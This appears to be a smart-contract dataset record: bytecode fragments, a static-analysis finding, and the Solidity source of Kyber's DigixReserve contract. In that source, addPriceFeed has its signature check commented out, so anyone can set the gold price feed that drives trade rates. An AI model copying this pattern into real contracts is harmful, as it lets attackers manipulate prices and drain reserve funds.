15565b005b34801561030d57600080fd5b50610316610baa565b005b34801561032457600080fd5b5061032d610c22565b6040518082815260200191505060405180910390f35b34801561034f57600080fd5b50610358610c28565b005b34801561036657600080fd5b5061036f610d8c565b6040518082815260200191505060405180910390f35b34801561039157600080fd5b506103b060048036038101908080359060200190929190505050610d92565b005b3480156103be57600080fd5b506103c7610e4c565b604051808215151515815260200191505060405180910390f35b3480156103ed57600080fd5b506103f6610e5f565b005b610400610ed7565b005b34801561040e57600080fd5b50610417610ed9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561046557600080fd5b5061046e610efe565b6040518082815260200191505060405180910390f35b34801561049057600080fd5b50610499610f04565b604051808215151515815260200191505060405180910390f35b3480156104bf57600080fd5b506104de60048036038101908080359060200190929190505050610f17565b005b3480156104ec57600080fd5b506104f5610fd1565b6040518082815260200191505060405180910390f35b61053f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fd7565b005b34801561054d57600080fd5b50610582600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fe4565b005b34801561059057600080fd5b50610599611082565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000600660009054906101000a900460ff161515156105f957600080fd5b426003541115801561060c575042600454115b151561061757600080fd5b655af3107a4000341015151561062c57600080fd5b6000600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610687576009600081548092919060010191905055505b655af3107a4000600554340281151561069c57fe5b04905034600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555080600760008282540192505081905550346008600082825401925050819055507f9e9d071824fd57d062ca63fd8b786d8da48a6807eebbcb2d83f9e8d21398e28c833483604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166379c6506884836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561084457600080fd5b505af1158015610858573d6000803e3d6000fd5b5050505060008273ffffffffffffffffffffffffffffffffffffffff161415156108d0578173ffffffffffffffffffffffffffffffffffffffff166108fc600a348115156108a257fe5b049081150290604051600060405180830381858888f193505050501580156108ce573d6000803e3d6000fd5b505b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015801561094f573d6000803e3d6000fd5b50505050565b60045481565b600c6020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109ce57600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a6d57600080fd5b600660009054906101000a900460ff16151515610a8957600080fd5b600081111515610a9857600080fd5b7f4ac9052a820bf4f8c02d7588587cae835573b5b99ea7ad4ca002f17f319f718660055482604051808381526020018281526020019250505060405180910390a18060058190555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b7057600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c0557600080fd5b6001600660006101000a81548160ff021916908315150217905550565b60075481565b6000600b60009054906101000a900460ff161515610c4557600080fd5b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600a5401600a819055507fbb28353e4598c3b9199101a66e0989549b659a59a54d2c27fbb183f1932c8e6d3382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a13373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610d88573d6000803e3d6000fd5b5050565b600a5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ded57600080fd5b600660009054906101000a900460ff16151515610e0957600080fd5b806004819055507fd34bb772c4ae9baa99db852f622773b31c7827e8ee818449fef20d30980bd3106004546040518082815260200191505060405180910390a150565b600b60009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610eba57600080fd5b6001600b60006101000a81548160ff021916908315150217905550565b565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60035481565b600660009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f7257600080fd5b600660009054906101000a900460ff16151515610f8e57600080fd5b806003819055507fa3f2a813a039e5195c620dabcd490267a9aa5a50e4e1383bc474e9b800f7defe6003546040518082815260200191505060405180910390a150565b60095481565b610fe133826105db565b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561103f57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16815600a165627a7a723058200cc3f6489cc185861b86e027cc6b2741028f0e53abe7c0d3ccc152eff2a605280029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
6,832
0x4cc28b64ffe5d9e207c459449c266a3043ef26f4
pragma solidity 0.4.18; // File: contracts/ERC20Interface.sol // https://github.com/ethereum/EIPs/issues/20 interface ERC20 { function totalSupply() public view returns (uint supply); function balanceOf(address _owner) public view returns (uint balance); function transfer(address _to, uint _value) public returns (bool success); function transferFrom(address _from, address _to, uint _value) public returns (bool success); function approve(address _spender, uint _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint remaining); function decimals() public view returns(uint digits); event Approval(address indexed _owner, address indexed _spender, uint _value); } // File: contracts/KyberReserveInterface.sol /// @title Kyber Reserve contract interface KyberReserveInterface { function trade( ERC20 srcToken, uint srcAmount, ERC20 destToken, address destAddress, uint conversionRate, bool validate ) public payable returns(bool); function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint); } // File: contracts/Utils.sol /// @title Kyber constants contract contract Utils { ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee); uint constant internal PRECISION = (10**18); uint constant internal MAX_QTY = (10**28); // 10B tokens uint constant internal MAX_RATE = (PRECISION * 10**6); // up to 1M tokens per ETH uint constant internal MAX_DECIMALS = 18; uint constant internal ETH_DECIMALS = 18; mapping(address=>uint) internal decimals; function setDecimals(ERC20 token) internal { if (token == ETH_TOKEN_ADDRESS) decimals[token] = ETH_DECIMALS; else decimals[token] = token.decimals(); } function getDecimals(ERC20 token) internal view returns(uint) { if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS; // save storage access uint tokenDecimals = decimals[token]; // technically, there might be token with decimals 0 // moreover, very possible that old tokens have decimals 0 // these tokens will just have higher gas fees. if(tokenDecimals == 0) return token.decimals(); return tokenDecimals; } function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) { require(srcQty <= MAX_QTY); require(rate <= MAX_RATE); if (dstDecimals >= srcDecimals) { require((dstDecimals - srcDecimals) <= MAX_DECIMALS); return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION; } else { require((srcDecimals - dstDecimals) <= MAX_DECIMALS); return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals))); } } function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) { require(dstQty <= MAX_QTY); require(rate <= MAX_RATE); //source quantity is rounded up. to avoid dest quantity being too low. uint numerator; uint denominator; if (srcDecimals >= dstDecimals) { require((srcDecimals - dstDecimals) <= MAX_DECIMALS); numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals))); denominator = rate; } else { require((dstDecimals - srcDecimals) <= MAX_DECIMALS); numerator = (PRECISION * dstQty); denominator = (rate * (10**(dstDecimals - srcDecimals))); } return (numerator + denominator - 1) / denominator; //avoid rounding down errors } } // File: contracts/PermissionGroups.sol contract PermissionGroups { address public admin; address public pendingAdmin; mapping(address=>bool) internal operators; mapping(address=>bool) internal alerters; address[] internal operatorsGroup; address[] internal alertersGroup; uint constant internal MAX_GROUP_SIZE = 50; function PermissionGroups() public { admin = msg.sender; } modifier onlyAdmin() { require(msg.sender == admin); _; } modifier onlyOperator() { require(operators[msg.sender]); _; } modifier onlyAlerter() { require(alerters[msg.sender]); _; } function getOperators () external view returns(address[]) { return operatorsGroup; } function getAlerters () external view returns(address[]) { return alertersGroup; } event TransferAdminPending(address pendingAdmin); /** * @dev Allows the current admin to set the pendingAdmin address. * @param newAdmin The address to transfer ownership to. */ function transferAdmin(address newAdmin) public onlyAdmin { require(newAdmin != address(0)); TransferAdminPending(pendingAdmin); pendingAdmin = newAdmin; } /** * @dev Allows the current admin to set the admin in one tx. Useful initial deployment. * @param newAdmin The address to transfer ownership to. */ function transferAdminQuickly(address newAdmin) public onlyAdmin { require(newAdmin != address(0)); TransferAdminPending(newAdmin); AdminClaimed(newAdmin, admin); admin = newAdmin; } event AdminClaimed( address newAdmin, address previousAdmin); /** * @dev Allows the pendingAdmin address to finalize the change admin process. */ function claimAdmin() public { require(pendingAdmin == msg.sender); AdminClaimed(pendingAdmin, admin); admin = pendingAdmin; pendingAdmin = address(0); } event AlerterAdded (address newAlerter, bool isAdd); function addAlerter(address newAlerter) public onlyAdmin { require(!alerters[newAlerter]); // prevent duplicates. require(alertersGroup.length < MAX_GROUP_SIZE); AlerterAdded(newAlerter, true); alerters[newAlerter] = true; alertersGroup.push(newAlerter); } function removeAlerter (address alerter) public onlyAdmin { require(alerters[alerter]); alerters[alerter] = false; for (uint i = 0; i < alertersGroup.length; ++i) { if (alertersGroup[i] == alerter) { alertersGroup[i] = alertersGroup[alertersGroup.length - 1]; alertersGroup.length--; AlerterAdded(alerter, false); break; } } } event OperatorAdded(address newOperator, bool isAdd); function addOperator(address newOperator) public onlyAdmin { require(!operators[newOperator]); // prevent duplicates. require(operatorsGroup.length < MAX_GROUP_SIZE); OperatorAdded(newOperator, true); operators[newOperator] = true; operatorsGroup.push(newOperator); } function removeOperator (address operator) public onlyAdmin { require(operators[operator]); operators[operator] = false; for (uint i = 0; i < operatorsGroup.length; ++i) { if (operatorsGroup[i] == operator) { operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1]; operatorsGroup.length -= 1; OperatorAdded(operator, false); break; } } } } // File: contracts/Withdrawable.sol /** * @title Contracts that should be able to recover tokens or ethers * @author Ilan Doron * @dev This allows to recover any tokens or Ethers received in a contract. * This will prevent any accidental loss of tokens. */ contract Withdrawable is PermissionGroups { event TokenWithdraw(ERC20 token, uint amount, address sendTo); /** * @dev Withdraw all ERC20 compatible tokens * @param token ERC20 The address of the token contract */ function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin { require(token.transfer(sendTo, amount)); TokenWithdraw(token, amount, sendTo); } event EtherWithdraw(uint amount, address sendTo); /** * @dev Withdraw Ethers */ function withdrawEther(uint amount, address sendTo) external onlyAdmin { sendTo.transfer(amount); EtherWithdraw(amount, sendTo); } } // File: contracts/DigixReserve.sol interface MakerDao { function peek() public view returns (bytes32, bool); } contract DigixReserve is KyberReserveInterface, Withdrawable, Utils { ERC20 public digix; MakerDao public makerDaoContract; uint maxBlockDrift = 300; mapping(bytes32=>bool) public approvedWithdrawAddresses; // sha3(token,address)=>bool address public kyberNetwork; uint public lastPriceFeed; bool public tradeEnabled; uint constant internal POW_2_64 = 2 ** 64; uint constant digixDecimals = 9; uint buyCommissionBps = 13; uint sellCommissionBps = 13; function DigixReserve(address _admin, address _kyberNetwork, ERC20 _digix) public{ require(_admin != address(0)); require(_digix != address(0)); require(_kyberNetwork != address(0)); admin = _admin; digix = _digix; setDecimals(digix); kyberNetwork = _kyberNetwork; tradeEnabled = true; } function () public payable {} /// @dev Add digix price feed. Valid for @maxBlockDrift blocks /// @param blockNumber - the block this price feed was signed. /// @param nonce - the nonce with which this block was signed. /// @param ask ask price dollars per Kg gold == 1000 digix /// @param bid bid price dollars per KG gold == 1000 digix /// @param signature signature of keccak 256 hash of (block, nonce, ask, bid) function addPriceFeed(uint blockNumber, uint nonce, uint ask, uint bid, bytes signature) public { uint prevFeedBlock; uint prevNonce; uint prevAsk; uint prevBid; (prevFeedBlock, prevNonce, prevAsk, prevBid) = getLastPriceFeedValues(); require(nonce > prevNonce); signature; // address signer = // bool isValidSigner = false; // for (uint i = 0; i < operatorsGroup.length; i++) { // if (operatorsGroup[i] == signer){ // isValidSigner = true; // break; // } // } // require(isValidSigner); lastPriceFeed = encodePriceFeed(blockNumber, nonce, ask, bid); } function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint) { if (!tradeEnabled) return 0; if (makerDaoContract == MakerDao(0)) return 0; uint feedBlock; uint nonce; uint ask; uint bid; blockNumber; (feedBlock, nonce, ask, bid) = getLastPriceFeedValues(); if (feedBlock + maxBlockDrift < block.number) return 0; uint rate1000Digix; if (ETH_TOKEN_ADDRESS == src) { rate1000Digix = ask; } else if (ETH_TOKEN_ADDRESS == dest) { rate1000Digix = bid; } else { return 0; } // wei per dollar from makerDao bool isRateValid; bytes32 weiPerDoller; (weiPerDoller, isRateValid) = makerDaoContract.peek(); if (!isRateValid) return 0; uint rate = rate1000Digix * (10 ** 18) * PRECISION / uint(weiPerDoller) / 1000; uint destQty = getDestQty(src, dest, srcQty, rate); if (getBalance(dest) < destQty) return 0; // if (sanityRatesContract != address(0)) { // uint sanityRate = sanityRatesContract.getSanityRate(src, dest); // if (rate > sanityRate) return 0; // } return rate; } function getLastPriceFeedValues() public view returns(uint feedBlock, uint nonce, uint ask, uint bid) { (feedBlock, nonce, ask, bid) = decodePriceFeed(lastPriceFeed); } event TradeExecute( address indexed origin, address src, uint srcAmount, address destToken, uint destAmount, address destAddress ); function trade( ERC20 srcToken, uint srcAmount, ERC20 destToken, address destAddress, uint conversionRate, bool validate ) public payable returns(bool) { require(tradeEnabled); require(msg.sender == kyberNetwork); // can skip validation if done at kyber network level if (validate) { require(conversionRate > 0); if (srcToken == ETH_TOKEN_ADDRESS) require(msg.value == srcAmount); else require(msg.value == 0); } uint destAmount = getDestQty(srcToken, destToken, srcAmount, conversionRate); uint adjustedAmount; // sanity check require(destAmount > 0); // collect src tokens if (srcToken != ETH_TOKEN_ADDRESS) { //due to commission network has less tokens. take amount less commission adjustedAmount = srcAmount * (10000 - sellCommissionBps) / 10000; require(srcToken.transferFrom(msg.sender, this, adjustedAmount)); } // send dest tokens if (destToken == ETH_TOKEN_ADDRESS) { destAddress.transfer(destAmount); } else { adjustedAmount = destAmount * 10000 / (10000 - buyCommissionBps); require(destToken.transfer(destAddress, adjustedAmount)); } TradeExecute(msg.sender, srcToken, srcAmount, destToken, destAmount, destAddress); return true; } event TradeEnabled(bool enable); function enableTrade() public onlyAdmin returns(bool) { tradeEnabled = true; TradeEnabled(true); return true; } function disableTrade() public onlyAlerter returns(bool) { tradeEnabled = false; TradeEnabled(false); return true; } event WithdrawAddressApproved(ERC20 token, address addr, bool approve); function approveWithdrawAddress(ERC20 token, address addr, bool approve) public onlyAdmin { approvedWithdrawAddresses[keccak256(token, addr)] = approve; WithdrawAddressApproved(token, addr, approve); setDecimals(token); } event WithdrawFunds(ERC20 token, uint amount, address destination); function withdraw(ERC20 token, uint amount, address destination) public onlyOperator returns(bool) { require(approvedWithdrawAddresses[keccak256(token, destination)]); if (token == ETH_TOKEN_ADDRESS) { destination.transfer(amount); } else { require(token.transfer(destination, amount)); } WithdrawFunds(token, amount, destination); return true; } function setMakerDaoContract(MakerDao daoContract) public onlyAdmin{ require(daoContract != address(0)); makerDaoContract = daoContract; } function setKyberNetworkAddress(address _kyberNetwork) public onlyAdmin{ require(_kyberNetwork != address(0)); kyberNetwork = _kyberNetwork; } function setMaxBlockDrift(uint numBlocks) public onlyAdmin { require(numBlocks > 1); maxBlockDrift = numBlocks; } function setBuyCommissionBps(uint commission) public onlyAdmin { require(commission < 10000); buyCommissionBps = commission; } function setSellCommissionBps(uint commission) public onlyAdmin { require(commission < 10000); sellCommissionBps = commission; } function encodePriceFeed(uint blockNumber, uint nonce, uint ask, uint bid) internal pure returns(uint) { // check overflows require(blockNumber < POW_2_64); require(nonce < POW_2_64); require(ask < POW_2_64); require(bid < POW_2_64); // do encoding uint result = blockNumber; result |= nonce * POW_2_64; result |= ask * POW_2_64 * POW_2_64; result |= bid * POW_2_64 * POW_2_64 * POW_2_64; return result; } function decodePriceFeed(uint input) internal pure returns(uint blockNumber, uint nonce, uint ask, uint bid) { blockNumber = uint(uint64(input)); nonce = uint(uint64(input / POW_2_64)); ask = uint(uint64(input / (POW_2_64 * POW_2_64))); bid = uint(uint64(input / (POW_2_64 * POW_2_64 * POW_2_64))); } function getBalance(ERC20 token) public view returns(uint) { if (token == ETH_TOKEN_ADDRESS) return this.balance; else return token.balanceOf(this); } function getDestQty(ERC20 src, ERC20 dest, uint srcQty, uint rate) public view returns(uint) { uint dstDecimals = getDecimals(dest); uint srcDecimals = getDecimals(src); return calcDstQty(srcQty, srcDecimals, dstDecimals, rate); } }
0x6060604052600436106101915763ffffffff60e060020a60003504166299d386811461019357806301a12fd3146101ba57806306cc01bc146101d957806315b37899146101ef578063267822471461020e57806327a099d81461023d57806327ed810d146102a35780633ccdbb28146102b9578063408ee7fe146102e257806349465d33146103015780634e52678e1461032657806353aab09814610339578063546dc71c1461039d57806359d89175146103c757806369328dec146103dd5780636940030f146104065780636cf698111461041957806375829def1461044557806377241a5f1461046457806377f50f97146104775780637acc86781461048a5780637c423f54146104a95780637cd44272146104bc5780638ce72064146104e75780639870d7fe14610506578063abd74e5214610525578063ac8a584a14610563578063b78b842d14610582578063ce56c45414610595578063d621e813146105b7578063d7b7024d146105ca578063f851a440146105e0578063f8b2cb4f146105f3578063fa64dffa14610612575b005b341561019e57600080fd5b6101a661063d565b604051901515815260200160405180910390f35b34156101c557600080fd5b610191600160a060020a03600435166106a5565b34156101e457600080fd5b610191600435610815565b34156101fa57600080fd5b610191600160a060020a0360043516610843565b341561021957600080fd5b610221610895565b604051600160a060020a03909116815260200160405180910390f35b341561024857600080fd5b6102506108a4565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561028f578082015183820152602001610277565b505050509050019250505060405180910390f35b34156102ae57600080fd5b61019160043561090c565b34156102c457600080fd5b610191600160a060020a036004358116906024359060443516610939565b34156102ed57600080fd5b610191600160a060020a0360043516610a30565b341561030c57600080fd5b610314610b2c565b60405190815260200160405180910390f35b341561033157600080fd5b610221610b32565b341561034457600080fd5b6101916004803590602480359160443591606435919060a49060843590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610b4195505050505050565b34156103a857600080fd5b610191600160a060020a03600435811690602435166044351515610b7f565b34156103d257600080fd5b610191600435610c5e565b34156103e857600080fd5b6101a6600160a060020a036004358116906024359060443516610c8c565b341561041157600080fd5b6101a6610e4a565b6101a6600160a060020a03600435811690602435906044358116906064351660843560a4351515610eb7565b341561045057600080fd5b610191600160a060020a036004351661118c565b341561046f57600080fd5b610221611227565b341561048257600080fd5b610191611236565b341561049557600080fd5b610191600160a060020a03600435166112d0565b34156104b457600080fd5b6102506113b2565b34156104c757600080fd5b610314600160a060020a0360043581169060243516604435606435611418565b34156104f257600080fd5b610191600160a060020a03600435166115d0565b341561051157600080fd5b610191600160a060020a0360043516611622565b341561053057600080fd5b6105386116f2565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b341561056e57600080fd5b610191600160a060020a0360043516611711565b341561058d57600080fd5b61022161187d565b34156105a057600080fd5b610191600435600160a060020a036024351661188c565b34156105c257600080fd5b6101a661191f565b34156105d557600080fd5b6101a6600435611928565b34156105eb57600080fd5b61022161193d565b34156105fe57600080fd5b610314600160a060020a036004351661194c565b341561061d57600080fd5b610314600160a060020a03600435811690602435166044356064356119fd565b6000805433600160a060020a0390811691161461065957600080fd5b600d805460ff191660019081179091557f7d7f00509dd73ac4449f698ae75ccc797895eff5fa9d446d3df387598a26e73590604051901515815260200160405180910390a15060015b90565b6000805433600160a060020a039081169116146106c157600080fd5b600160a060020a03821660009081526003602052604090205460ff1615156106e857600080fd5b50600160a060020a0381166000908152600360205260408120805460ff191690555b6005548110156108115781600160a060020a031660058281548110151561072d57fe5b600091825260209091200154600160a060020a031614156108095760058054600019810190811061075a57fe5b60009182526020909120015460058054600160a060020a03909216918390811061078057fe5b60009182526020909120018054600160a060020a031916600160a060020a039290921691909117905560058054906107bc906000198301611d44565b507f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762826000604051600160a060020a039092168252151560208201526040908101905180910390a1610811565b60010161070a565b5050565b60005433600160a060020a0390811691161461083057600080fd5b612710811061083e57600080fd5b600e55565b60005433600160a060020a0390811691161461085e57600080fd5b600160a060020a038116151561087357600080fd5b600b8054600160a060020a031916600160a060020a0392909216919091179055565b600154600160a060020a031681565b6108ac611d68565b600480548060200260200160405190810160405280929190818152602001828054801561090257602002820191906000526020600020905b8154600160a060020a031681526001909101906020018083116108e4575b5050505050905090565b60005433600160a060020a0390811691161461092757600080fd5b6001811161093457600080fd5b600955565b60005433600160a060020a0390811691161461095457600080fd5b82600160a060020a031663a9059cbb828460006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156109b157600080fd5b6102c65a03f115156109c257600080fd5b5050506040518051905015156109d757600080fd5b7f72cb8a894ddb372ceec3d2a7648d86f17d5a15caae0e986c53109b8a9a9385e6838383604051600160a060020a03938416815260208101929092529091166040808301919091526060909101905180910390a1505050565b60005433600160a060020a03908116911614610a4b57600080fd5b600160a060020a03811660009081526003602052604090205460ff1615610a7157600080fd5b60055460329010610a8157600080fd5b7f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762816001604051600160a060020a039092168252151560208201526040908101905180910390a1600160a060020a0381166000908152600360205260409020805460ff191660019081179091556005805490918101610b008382611d44565b5060009182526020909120018054600160a060020a031916600160a060020a0392909216919091179055565b600c5481565b600754600160a060020a031681565b600080600080610b4f6116f2565b92965090945092509050828811610b6557600080fd5b610b7189898989611a2f565b600c55505050505050505050565b60005433600160a060020a03908116911614610b9a57600080fd5b80600a600085856040516c01000000000000000000000000600160a060020a039384168102825291909216026014820152602801604051908190039020815260208101919091526040908101600020805460ff1916921515929092179091557fd5fd5351efae1f4bb760079da9f0ff9589e2c3e216337ca9d39cdff573b245c49084908490849051600160a060020a0393841681529190921660208201529015156040808301919091526060909101905180910390a1610c5983611ad0565b505050565b60005433600160a060020a03908116911614610c7957600080fd5b6127108110610c8757600080fd5b600f55565b600160a060020a03331660009081526002602052604081205460ff161515610cb357600080fd5b600a600085846040516c01000000000000000000000000600160a060020a039384168102825291909216026014820152602801604051908190039020815260208101919091526040016000205460ff161515610d0e57600080fd5b600160a060020a03841673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415610d6957600160a060020a03821683156108fc0284604051600060405180830381858888f193505050501515610d6457600080fd5b610dec565b83600160a060020a031663a9059cbb838560006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610dc657600080fd5b6102c65a03f11515610dd757600080fd5b505050604051805190501515610dec57600080fd5b7fb67719fc33c1f17d31bf3a698690d62066b1e0bae28fcd3c56cf2c015c2863d6848484604051600160a060020a03938416815260208101929092529091166040808301919091526060909101905180910390a15060019392505050565b600160a060020a03331660009081526003602052604081205460ff161515610e7157600080fd5b600d805460ff191690557f7d7f00509dd73ac4449f698ae75ccc797895eff5fa9d446d3df387598a26e7356000604051901515815260200160405180910390a150600190565b600d546000908190819060ff161515610ecf57600080fd5b600b5433600160a060020a03908116911614610eea57600080fd5b8315610f3e5760008511610efd57600080fd5b600160a060020a03891673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415610f3357348814610f2e57600080fd5b610f3e565b3415610f3e57600080fd5b610f4a89888a886119fd565b915060008211610f5957600080fd5b600160a060020a03891673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1461101a5750600f54612710908103880204600160a060020a0389166323b872dd33308460006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b1515610ff457600080fd5b6102c65a03f1151561100557600080fd5b50505060405180519050151561101a57600080fd5b600160a060020a03871673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee141561107557600160a060020a03861682156108fc0283604051600060405180830381858888f19350505050151561107057600080fd5b611110565b600e5461271003826127100281151561108a57fe5b04905086600160a060020a031663a9059cbb878360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156110ea57600080fd5b6102c65a03f115156110fb57600080fd5b50505060405180519050151561111057600080fd5b33600160a060020a03167fea9415385bae08fe9f6dc457b02577166790cde83bb18cc340aac6cb81b824de8a8a8a868b604051600160a060020a039586168152602081019490945291841660408085019190915260608401919091529216608082015260a001905180910390a250600198975050505050505050565b60005433600160a060020a039081169116146111a757600080fd5b600160a060020a03811615156111bc57600080fd5b6001547f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4090600160a060020a0316604051600160a060020a03909116815260200160405180910390a160018054600160a060020a031916600160a060020a0392909216919091179055565b600854600160a060020a031681565b60015433600160a060020a0390811691161461125157600080fd5b6001546000547f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed91600160a060020a039081169116604051600160a060020a039283168152911660208201526040908101905180910390a16001805460008054600160a060020a0319908116600160a060020a03841617909155169055565b60005433600160a060020a039081169116146112eb57600080fd5b600160a060020a038116151561130057600080fd5b7f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4081604051600160a060020a03909116815260200160405180910390a16000547f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed908290600160a060020a0316604051600160a060020a039283168152911660208201526040908101905180910390a160008054600160a060020a031916600160a060020a0392909216919091179055565b6113ba611d68565b600580548060200260200160405190810160405280929190818152602001828054801561090257602002820191906000526020600020908154600160a060020a031681526001909101906020018083116108e4575050505050905090565b600080600080600080600080600080600d60009054906101000a900460ff16151561144657600099506115bf565b600854600160a060020a0316151561146157600099506115bf565b6114696116f2565b600954939c50919a509850965043908a01101561148957600099506115bf565b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee600160a060020a038f1614156114b6578694506114ec565b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee600160a060020a038e1614156114e3578594506114ec565b600099506115bf565b600854600160a060020a03166359e02dd76000604051604001526040518163ffffffff1660e060020a0281526004016040805180830381600087803b151561153357600080fd5b6102c65a03f1151561154457600080fd5b505050604051805190602001805195509093505083151561156857600099506115bf565b6103e8836ec097ce7bc90715b34b9f1000000000870281151561158757fe5b0481151561159157fe5b0491506115a08e8e8e856119fd565b9050806115ac8e61194c565b10156115bb57600099506115bf565b8199505b505050505050505050949350505050565b60005433600160a060020a039081169116146115eb57600080fd5b600160a060020a038116151561160057600080fd5b60088054600160a060020a031916600160a060020a0392909216919091179055565b60005433600160a060020a0390811691161461163d57600080fd5b600160a060020a03811660009081526002602052604090205460ff161561166357600080fd5b6004546032901061167357600080fd5b7f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b816001604051600160a060020a039092168252151560208201526040908101905180910390a1600160a060020a0381166000908152600260205260409020805460ff191660019081179091556004805490918101610b008382611d44565b600080600080611703600c54611b93565b929791965094509092509050565b6000805433600160a060020a0390811691161461172d57600080fd5b600160a060020a03821660009081526002602052604090205460ff16151561175457600080fd5b50600160a060020a0381166000908152600260205260408120805460ff191690555b6004548110156108115781600160a060020a031660048281548110151561179957fe5b600091825260209091200154600160a060020a03161415611875576004805460001981019081106117c657fe5b60009182526020909120015460048054600160a060020a0390921691839081106117ec57fe5b60009182526020909120018054600160a060020a031916600160a060020a03929092169190911790556004805460001901906118289082611d44565b507f091a7a4b8513